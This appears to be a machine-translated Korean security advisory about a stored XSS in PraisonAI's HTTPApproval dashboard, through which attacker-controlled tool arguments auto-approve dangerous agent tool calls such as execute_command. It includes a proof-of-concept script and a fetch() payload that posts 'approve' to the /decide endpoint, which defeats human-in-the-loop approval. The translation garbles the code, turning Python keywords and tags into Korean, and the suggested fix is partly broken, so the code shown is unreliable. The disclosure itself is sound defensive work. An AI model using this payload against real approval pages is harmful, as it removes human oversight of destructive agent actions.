PraisonAI: HTTPApproval 대시보드는 도구 인수를 원시 HTML로 렌더링하여 승인 페이지 XSS가 위험한 도구를 승인할 수 있도록 합니다.
praisonai.bots.HTTPApproval은 보류 중인 도구 승인 인수를 직접 렌더링합니다.
승인 대시보드 HTML에 추가하세요. 공격자가 제어하는 도구 인수는 다음과 같습니다.
해당 페이지에 JavaScript를 삽입하십시오. 사람이 승인 URL을 열어서 검사하는 경우
위험한 도구 요청이 있으면 스크립트는 대시보드 원본에서 실행되고 POST를 통해
동일한 요청의 /approve/{request_id}/decide 엔드포인트로 인해
HTTPApproval은 approved=True를 반환합니다.
로컬 PoV는 무해한 touch /tmp/prai010 # 명령 접두사를 사용하고 다음 위치에서 중지됩니다.
승인 결정. 명령을 실행하지 않습니다.
제안된 영향 범위: >= 4.5.2, <= 4.6.57.
영향을 받는 것으로 검증됨:
2f9677abb2ea68eab864ee8b6a828fd0141612e1
(v4.6.57-4-g2f9677ab)
-v4.5.2
-v4.5.3v4.5.124
-v4.5.126
-v4.5.128v4.6.10
-v4.6.56
-v4.6.57v4.5.0 및 v4.5.1에는 HTTPApproval 백엔드가 포함되어 있지 않습니다.
에이전트 작업에 영향을 미치거나 경고 메시지를 생성할 만큼 프롬프트를 표시할 수 있는 공격자 위험한 도구 호출은 도구 인수에 짧은 XSS 페이로드를 포함할 수 있습니다. 때 인간 승인자가 HTTP 승인 페이지를 열면 스크립트는 보류 중인 승인을 승인할 수 있습니다. 사람이 명시적으로 승인 또는 거부를 클릭하기 전에 위험한 도구를 호출하는 경우.
이는 다음과 같은 위험한 도구에 대한 Human-In-The-Loop 승인 경계를 우회합니다.
execute_command, execute_code, delete_file 또는 기타 제한 도구로
'HTTPApproval'을 통해. 승인 후에도 대리인이 계속하면 위험합니다.
도구는 PraisonAI 프로세스의 권한으로 실행됩니다.
PraisonAI 문서에서는 승인을 일시 중지하는 안전 제어로 설명합니다. 에이전트는 위험한 도구보다 먼저 인간 또는 구성된 채널에 허용 또는 거부를 요청합니다. 실행. 문서에는 'http'도 지원되는 비콘솔로 나열되어 있습니다. 승인 백엔드.
위험한 명령을 검사하기 위해 승인 페이지를 열면 자체적으로 승인되어서는 안 됩니다. 명령. 현재 동작으로 인해 공격자가 제어하는 도구 인수가 허용됩니다. 승인 페이지에서 스크립트를 실행하고 승인 작업을 제출합니다.
이는 이전에 게시된 에이전트용 저장된 XSS 권고와는 다릅니다.
출력 렌더링. 해당 권고는 src/praisonai/api.py 및 누락과 관련이 있습니다.
이전 버전의 nh3 정리. 이 보고서는 'HTTPApproval'에 관한 것입니다.
대시보드가 싱크되고 현재 헤드에 남아 있습니다.
src/praisonai/praisonai/bots/_http_approval.py에서 _build_html()은
원시 F-문자열 보간이 포함된 승인 페이지:
args_html에 추가됩니다.tool_name, risk_level 및 agent_name도
HTML을 반환했습니다./승인/{요청_ID}/결정._handle_decide()는 해당 엔드포인트에서 JSON을 수락하고 보류 중인 요청을 표시합니다.
결정 == "승인"일 때 승인됩니다.
승인 페이지는 보류 중인 요청의 이스케이프되지 않은 도구에서 생성되기 때문입니다.
인수가 있는 경우 삽입된 스크립트는 합법적인 엔드포인트와 동일한 엔드포인트를 호출할 수 있습니다.
버튼 사용을 승인합니다. 요청 ID를 추측할 수 없지만 스크립트는 내부에서 실행됩니다.
로드된 승인 페이지를 확인하고 location.pathname에서 엔드포인트를 파생할 수 있습니다.
PoV는 로컬 전용이며 위험한 도구 명령을 실행하지 않습니다. 실행해 보세요
PraisonAI 계산대 또는 praisonai와
후보 버전에서 'praisonaiagents'를 가져옵니다.
``파이썬 비동기 가져오기 JSON 가져오기 수입 소켓
aiohttp 가져오기 praisonai.bots._http_approval에서 HTTPApproval 가져오기 praisonaiagents.approval.protocols에서 ApprovalRequest 가져오기
def free_port(): 소켓으로 소켓.socket(socket.AF_INET, 소켓.SOCK_STREAM)을 사용합니다. 양말.바인드(("127.0.0.1", 0)) 양말.getsockname()[1] 반환
페이로드 = ( "/tmp/prai010 #을 터치하세요" "<스크립트>" "fetch(location.pathname+'/decide',{" "메서드:'POST', 헤더:{'Content-Type':'application/json'}," "본문:'{"결정":"승인"}'})" "<코드>" )
비동기 정의 메인(): 백엔드 = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5) 요청 = 승인요청( tool_name="execute_command", 인수={"명령": 페이로드}, 위험 수준="위험", Agent_name="pov-에이전트", ) 작업 = asyncio.create_task(backend.request_approval(요청))
request_id = "" 범위(100)의 _에 대해: 백엔드._보류 중인 경우: request_id = next(iter(backend._pending)) 휴식 asyncio.sleep을 기다립니다(0.05) request_id 주장
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
aiohttp.ClientSession()을 세션으로 사용하여 비동기화:
응답으로 session.get(url)을 사용한 비동기:
페이지 = response.text()를 기다립니다.
raw_script_present = 페이지의 "<script>fetch(location.pathname+'/decide'"
script_not_html_escaped = "<script"가 페이지에 없음
payload_uses_same_origin_decide_endpoint = 페이지의 "fetch(location.pathname+'/decide'"
payload_not_truncated = "..." 페이지에 없음[
page.find("<스크립트>"):page.find("<스크립트>") + len(페이로드) + 10
]
raw_script_present를 주장
script_not_html_escaped 주장
payload_not_truncated 주장
# 주입된 동일 출처 스크립트가 제출하는 동일한 요청.
응답으로 session.post(f"{url}/decide", json={"decision": "approve"})를 사용한 비동기:
post_body = response.text()를 기다립니다.
결정 = 작업 대기
backend.shutdown()을 기다립니다.
인쇄(json.dumps({
"payload_len": len(페이로드),
"payload_shell_prefix": "/tmp/prai010을 터치하세요",
"raw_script_present": 원시_스크립트_현재,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": 페이로드_not_truncated,
"포스트_바디": 포스트_바디,
"결정_승인": 결정.승인,
"결정_이유": 결정.이유,
"취약한": 부울(
원시 스크립트_현재
그리고 script_not_html_escaped
및 payload_uses_same_origin_decide_endpoint
및 payload_not_truncated
및 결정.승인됨
),
}, 들여쓰기=2))
asyncio.run(메인())
예상되는 영향을 받는 출력은 다음과 같습니다.
``json
{
"페이로드_렌": 175,
"payload_shell_prefix": "/tmp/prai010을 터치하세요",
"raw_script_present": 사실,
"script_not_html_escaped": 사실,
"payload_uses_same_origin_decide_endpoint": 참,
"payload_not_truncated": 사실,
"결정_승인": 사실,
"취약한": 사실
}
관련 주입된 인수 형태는 다음과 같습니다.
``텍스트 touch /tmp/prai010 # fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})
쉘 접두어는 동일한 인수가 실행 가능한 쉘일 수 있음을 보여줍니다.
승인 후 구문; 도구를 실행하기 전에 PoV가 중지됩니다.
## 제안된 수정 사항
승인 HTML에 삽입하기 전에 신뢰할 수 없는 모든 값을 이스케이프 처리하세요.
- `도구_이름`
- `위험_수준`
- `에이전트_이름`
- 모든 인수 키
- 모든 인수 값
예를 들어 `html.escape(str(value), quote=True)` 또는 다음과 같은 템플릿 엔진을 사용하세요.
기본적으로 자동 이스케이프됩니다. `</code><script>...`를 포함하는 회귀 테스트를 추가합니다.
도구 인수에 렌더링된 페이지에 이스케이프된 텍스트가 포함되어 있는지 확인합니다.
스크립트 요소.
최소 패치 모양:
``파이썬
HTML 가져오기 이스케이프에서
def h(값: 객체) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "알 수 없음"))
위험 수준 = h(info.get("위험 수준", "알 수 없음"))
에이전트_이름 = h(info.get("에이전트_이름", ""))
args_html = ""
Arguments.items()의 k, v에 대해:
val_str = str(v)
len(val_str) > 200인 경우:
val_str = val_str[:197] + "..."
args_html += (
f"<tr><td><code>{h(k)}</code></td>"
f"<td><code>{h(val_str)}</code></td></tr>"
)
추가 강화:
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준